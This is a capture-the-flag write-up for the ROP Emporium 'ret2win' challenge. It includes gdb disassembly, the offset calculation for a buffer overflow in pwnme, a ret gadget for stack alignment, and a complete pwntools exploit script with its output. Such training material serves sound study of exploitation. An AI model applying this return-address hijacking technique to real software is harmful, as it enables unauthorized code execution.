ret2win
ret2win
Exploration
Using gdb, we can find there are two notable functions: pwnme
and ret2win
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb ./ret2win
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
Finding the vulnerability and offset (pwnme
)
pwnme
has a buffer overflow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
Note that it reads 0x38 (56) bytes into a string that is 0x20 (32) bytes from RBP. Since RBP is next to the return address and is 8 bytes long, the offset is 0x28 (40).
Finding the target (ret2win
)
ret2win
is the function to return to - it calls system on the string "/bin/cat flag.txt"
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) disassemble ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
(gdb) x/s 0x400943
0x400943: "/bin/cat flag.txt"
Stack alignment issue (movaps
)
As per the Common Pitfalls in the ropemporium Beginner’s Guide, it’s possible that there’s a movaps
issue. This was true for me on Debian 12. To get around this, we need to realign the stack to 16 bytes using a singular ret
instruction. This can be found using ropper
.
1
2
3
4
5
6
7
8
9
$ ropper --file ret2win --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: ret2win
0x0000000000400542: ret 0x200a;
0x000000000040053e: ret;
Exploit
I set up this program using pwninit
. However, ropemporium has no remote - it is all local.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *
exe = ELF("./ret2win_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
offset = 0x28
payload = flat({
offset: [
0x40053e, # ret
exe.sym["ret2win"]
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[<] Starting local process '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched': pid 3[+]
[*] Switching to interactive mode
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Process '/home/ctf/ctf/ropemporium/ret2win/ret2win_patched' stopped with exit code 0 (pid 37443)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
This post is licensed under CC BY 4.0 by the author.